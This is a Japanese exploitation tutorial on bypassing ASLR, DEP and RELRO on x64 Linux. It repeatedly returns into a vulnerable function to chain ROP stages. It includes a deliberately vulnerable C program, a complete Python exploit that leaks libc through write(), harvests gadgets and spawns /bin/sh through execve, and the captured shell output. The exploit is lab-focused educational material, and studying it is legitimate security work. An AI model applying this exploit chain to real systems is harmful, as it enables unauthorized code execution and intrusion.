x64でDynamic ROP + Return-to-vulnによるASLR+DEP+RELRO回避をやってみる

「x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる」では、libcバイナリを読み出しその中に含まれるgadgetを利用してROPを行うことでシェル起動を行った。 しかし、コンパイラによっては実行ファイルにleave命令が存在しない場合があり、このような場合にはleave命令を使ったstack pivotを行うことができず、次のROPシーケンスに実行を移すことができない。 そこで、ここではstack pivotを行う代わりに同一の脆弱性複数回利用することで、x64環境かつASLR+DEP+RELROが有効な条件下でのシェル起動をやってみる。 また、ここではこの方法を便宜上Return-to-vulnと呼ぶことにする。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

$ clang --version
Ubuntu clang version 3.0-6ubuntu3 (tags/RELEASE_30/final) (based on LLVM 3.0)
Target: i386-pc-linux-gnu
Thread model: posix

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるプログラムを書いてみる。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。 ただし、ここではコンパイラとしてgccではなくclangを使う。

$ sudo apt-get install clang

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ clang -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

コンパイラによる出力の違いを確認してみる

コンパイラとしてgccではなくclangを使った場合、関数のエピローグでスタックポインタを戻すときleave命令ではなくadd命令が使われるようになる。 実際にmain関数のプロローグ、エピローグを調べると次のようになる。

$ objdump -d a.out | sed -n '/<main>:/,/^$/p'
0000000000400550 <main>:
  400550:       55                      push   rbp
  400551:       48 89 e5                mov    rbp,rsp
  400554:       48 81 ec 90 00 00 00    sub    rsp,0x90
  ...
  4005ba:       48 81 c4 90 00 00 00    add    rsp,0x90
  4005c1:       5d                      pop    rbp
  4005c2:       c3                      ret

一方、gccコンパイルした場合は次のようになる。

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c -o a.out.gcc

$ objdump -d a.out.gcc | sed -n '/<main>:/,/^$/p'
0000000000400544 <main>:
  400544:       55                      push   rbp
  400545:       48 89 e5                mov    rbp,rsp
  400548:       48 83 c4 80             add    rsp,0xffffffffffffff80
  ...
  400595:       c9                      leave
  400596:       c3                      ret

clangでコンパイルした場合、スタックポインタを戻す際leave命令の代わりにadd命令+pop命令が使われていることがわかる。 一般にstack pivotではleave命令を使いrspにrbpの値をセットすることが多いが、このような場合rspを指定したアドレスに書き換えることは難しくなる。

しかし、このような場合でも脆弱性のある関数に繰り返しリターンすることで、ROPシーケンスの読み込みと実行を繰り返し行えることがある。

エクスプロイトコードを書いてみる

最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

上で出力した情報をもとに、脆弱性のある関数に繰り返しリターンし、Dynamic ROPを行うエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_bss = 0x0000000000601010   # readelf -S a.out
addr_got_read = 0x600fe8        # objdump -d -j.plt a.out
addr_got_write = 0x600fe0       # objdump -d -j.plt a.out
addr_got_start = 0x600ff0       # objdump -d -j.plt a.out
addr_main = 0x0000000000400550  # nm a.out

addr_set_regs = 0x400636        # pop junk/rbx/rbp/r12/r13/r14/r15; ret
addr_call_r12 = 0x400620        # mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8];
                                # -> add rbx, 1; cmp rbx, rbp; jne addr_call_r12; jmp addr_set_regs

stacksize = 0x400
base_stage = addr_bss + stacksize

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

# stage 1:
# read address of __libc_start_main()

buf = 'A' * bufsize
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', addr_set_regs)
buf += 'AAAAAAAA'
buf += struct.pack('<Q', 0)                 # rbx == 0
buf += struct.pack('<Q', 1)                 # rbp == rbx+1
buf += struct.pack('<Q', addr_got_write)    # r12 -> call [r12]
buf += struct.pack('<Q', 1)                 # r13 -> edi
buf += struct.pack('<Q', addr_got_start)    # r14 -> rsi
buf += struct.pack('<Q', 8)                 # r15 -> rdx
buf += struct.pack('<Q', addr_call_r12)
buf += 'AAAAAAAA'
buf += 'AAAAAAAA'                           # rbx
buf += 'AAAAAAAA'                           # rbp
buf += 'AAAAAAAA'                           # r12
buf += 'AAAAAAAA'                           # r13
buf += 'AAAAAAAA'                           # r14
buf += 'AAAAAAAA'                           # r15
buf += struct.pack('<Q', addr_main)

p.stdin.write(struct.pack('<Q', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))
addr_libc_start = struct.unpack('<Q', p.stdout.read(8))[0]
print "[+] addr_libc_start = %x" % addr_libc_start

# stage 2:
# read libc binary

libc_readsize = 0x160000

buf = 'A' * bufsize
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', addr_set_regs)
buf += 'AAAAAAAA'
buf += struct.pack('<Q', 0)                 # rbx == 0
buf += struct.pack('<Q', 1)                 # rbp == rbx+1
buf += struct.pack('<Q', addr_got_write)    # r12 -> call [r12]
buf += struct.pack('<Q', 1)                 # r13 -> edi
buf += struct.pack('<Q', addr_libc_start)   # r14 -> rsi
buf += struct.pack('<Q', libc_readsize)     # r15 -> rdx
buf += struct.pack('<Q', addr_call_r12)
buf += 'AAAAAAAA'
buf += struct.pack('<Q', 0)                 # rbx == 0
buf += struct.pack('<Q', 1)                 # rbp == rbx+1
buf += struct.pack('<Q', addr_got_read)     # r12 -> call [r12]
buf += struct.pack('<Q', 0)                 # r13 -> edi
buf += struct.pack('<Q', base_stage)        # r14 -> rsi
buf += struct.pack('<Q', 100)               # r15 -> rdx
buf += struct.pack('<Q', addr_call_r12)
buf += 'AAAAAAAA'
buf += 'AAAAAAAA'                           # rbx
buf += 'AAAAAAAA'                           # rbp
buf += 'AAAAAAAA'                           # r12
buf += 'AAAAAAAA'                           # r13
buf += 'AAAAAAAA'                           # r14
buf += 'AAAAAAAA'                           # r15
buf += struct.pack('<Q', addr_main)

p.stdin.write(struct.pack('<Q', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))
libc_bin = p.stdout.read(libc_readsize)
print "[+] len(libc_bin) = %x" % len(libc_bin)

buf = struct.pack('<Q', base_stage + 16)
buf += struct.pack('<Q', 0)
buf += "/bin/sh\x00"
buf += 'A' * (100-len(buf))

p.stdin.write(buf)

# stage 3:
# execve("/bin/sh", {"/bin/sh", NULL}, NULL)

addr_pop_rax = addr_libc_start + libc_bin.index('\x58\xc3')  # pop rax; ret
addr_pop_rdi = addr_libc_start + libc_bin.index('\x5f\xc3')  # pop rdi; ret
addr_pop_rsi = addr_libc_start + libc_bin.index('\x5e\xc3')  # pop rsi; ret
addr_pop_rdx = addr_libc_start + libc_bin.index('\x5a\xc3')  # pop rdx; ret
addr_syscall = addr_libc_start + libc_bin.index('\x0f\x05')  # syscall

nr_execve = 59  # grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h

buf = 'A' * bufsize
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', addr_pop_rax)
buf += struct.pack('<Q', nr_execve)
buf += struct.pack('<Q', addr_pop_rdi)
buf += struct.pack('<Q', base_stage + 16)
buf += struct.pack('<Q', addr_pop_rsi)
buf += struct.pack('<Q', base_stage)
buf += struct.pack('<Q', addr_pop_rdx)
buf += struct.pack('<Q', 0)
buf += struct.pack('<Q', addr_syscall)

p.stdin.write(struct.pack('<Q', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))

p.stdin.write("exec /bin/sh <&2 >&2\n")
p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。

  1. __libc_csu_init gadgetsを使ってwrite関数を呼び出し、GOTから__libc_start_main関数のアドレスを書き出す
  2. 脆弱性のあるmain関数にリターンし、再度スタックバッファオーバーフローを起こす
  3. 再度write関数を呼び出し、__libc_start_main関数を起点として0x160000バイトを書き出す
  4. 続けてread関数を呼び出し、適当な書き込み可領域に必要なデータを読み込ませる
  5. 脆弱性のあるmain関数にリターンし、再度スタックバッファオーバーフローを起こす
  6. 書き出したlibcバイナリから必要なgadgetを探し、これを使ってシステムコール実行を行う

ここでは、stack pivotを行う代わりに脆弱性のある関数にリターンすることで次のROPシーケンスの読み込み、実行を行っている。 スタックバッファオーバーフローに限らず、ヒープオーバーフローによるvtable overwriteなどでも、一度利用した脆弱性を繰り返し再現できる状況であれば同様のことが可能である。

引数をセットし実行すると、次のようになる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe0\x0f`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP\x05@\x00\x00\x00\x00\x00'
[+] addr_libc_start = 7f5d1f6f86a0
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe0\x0f`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa0\x86o\x1f]\x7f\x00\x00\x00\x00\x16\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe8\x0f`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x14`\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP\x05@\x00\x00\x00\x00\x00'
[+] len(libc_bin) = 160000
[+] read: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp\xa9o\x1f]\x7f\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x12\x9ao\x1f]\x7f\x00\x00 \x14`\x00\x00\x00\x00\x00E\xado\x1f]\x7f\x00\x00\x10\x14`\x00\x00\x00\x00\x00\x8d/y\x1f]\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd3'p\x1f]\x7f\x00\x00"
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ASLR+DEP+RELROが有効な条件下で、leave命令によるstack pivotを使わずにシェルが起動できていることが確認できた。

なお、上のコードをroputilsを使って書いた場合は次のようになる。

関連リンク